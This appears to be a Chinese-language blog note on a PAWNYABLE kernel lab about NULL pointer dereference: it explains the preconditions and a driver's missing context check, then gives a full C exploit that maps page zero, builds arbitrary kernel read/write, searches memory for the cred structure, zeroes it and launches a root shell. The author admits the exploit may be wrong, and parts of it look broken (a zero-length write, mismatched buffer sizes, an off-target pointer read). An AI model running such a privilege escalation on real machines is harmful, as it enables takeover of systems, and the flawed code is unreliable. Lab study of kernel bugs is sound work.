PAWNYABLE NULL Pointer Dereference 笔记
/ 4 min read
Table of Contents
现在把基础的和 user mode 类似的部分看完了,该看内核独有的攻击咯。
概念
攻击的前提条件
-
为了完成 null ptr dereference,需要先禁用 SMAP(内核从用户态读写数据)
-
以及
cat /proc/sys/vm/mmap_min_addr需要是 0。mmap 需要可以拿到地址为 0 的区域。
所以这么看起来,利用的条件还是比较原始的….
模块源码分析
看 mondule_ioctl 的功能的话,这个模块可以基于 ctx->key 和 ctx->data 对数据进行亦或的加解密。
虽然 CMD_SETKEY 有检查 private_data 是否已经初始化。但是, CMD_GETDATA 、 CMD_ENCRYPT 、 CMD_DECRYPT 没有此检查。就是说,如果 ctx 为 0 的话,也是可以进行 CMD_GETDATA 、 CMD_ENCRYPT 、 CMD_DECRYPT 的,只不过是用了用户空间的数据。
用户态控制 0x0 的地址
mmap 的参数设置中:
-
MAP_FIXED强制将映射的内存区域放置在指定的地址。 -
MAP_POPULATE: 在mmap调用中使用MAP_POPULATE标志主要是为了提前将映射的内存区域加载到物理内存中,而不是等到访问这些内存时才触发页面的加载。这对于一些需要确保快速访问内存的情况特别有用,尤其是当内存区域被映射为匿名内存 (MAP_ANONYMOUS) 时。
mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);题目分析
控制 XorCipher 结构体就能完成 aaw 和 aar
typedef struct { char *key; char *data; size_t keylen; size_t datalen;} XorCipher;没有任何基址,如何搜索 cred 结构体?
kalsr 可能改变的 cred 地址范围:outflux.net/slides/2013/lss/kaslr.pdf 0xffff888000000000 < 0xffffc88000000000 。
![[Pasted image 20241212103411.png]]
exp
寻找 cred 的过程好漫长。跑了好久呜呜,不想跑了,就这样吧,这个 exp 可能不正确…
#include <fcntl.h>#include <sys/mman.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ioctl.h>#include <sys/prctl.h>#include <inttypes.h>
#define CMD_GETDATA 0x13370004#define CMD_ENCRYPT 0x13370005
char *buf;int fd;
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr);}
typedef struct { char *key; char *data; size_t keylen; size_t datalen;} XorCipher;
typedef struct { char *ptr; size_t len;} request_t;
// 怎么找 cred 比较快void aar(char *src, int len, char *dst){ XorCipher cipher = { .key = 0, .data = src, .keylen = 0, .datalen = len };
request_t rqs = { .ptr = dst, .len = len };
memcpy(buf, &cipher, sizeof(XorCipher)); ioctl(fd, CMD_GETDATA, &rqs);}
int aaw(char *addr, int len, char *content) {
char *leak = (char*)malloc(len);
aar(addr, len, leak);
for(int i = 0; i < len; i++) { leak[i] ^= content[i]; }
XorCipher cipher = { .key = leak, .data = addr, .keylen = len, .datalen = len };
request_t rqs = { .ptr = addr, .len = len };
memcpy(buf, &cipher, sizeof(XorCipher)); ioctl(fd, CMD_ENCRYPT, &rqs);}
void attack_cred() { prctl(PR_SET_NAME, "giacomo"); char *leak = malloc(0x1000000); uint64_t cred_addr;
for(uint64_t addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += 0x1000000) { if (addr % 0x1000000000 == 0) { print_hex("addr:", addr); }
aar((char *)addr, 0x1000, leak);
char *needle = memmem(leak, 0x1000000, "giacomo", 7);
if(needle) { puts("find comm"); print_hex("addr", (uint64_t) needle + addr); cred_addr = *(uint64_t *)(leak - 0x8); print_hex("cred_addr", cred_addr); break; } }
char zero[0x20] = {0};
for(uint64_t i = 0; i < 0x20; i += 4) { aaw((char *)cred_addr + i, 0, zero); }
system("/bin/sh");}
int main() { fd = open("/dev/angus", O_RDWR);
buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
attack_cred();
}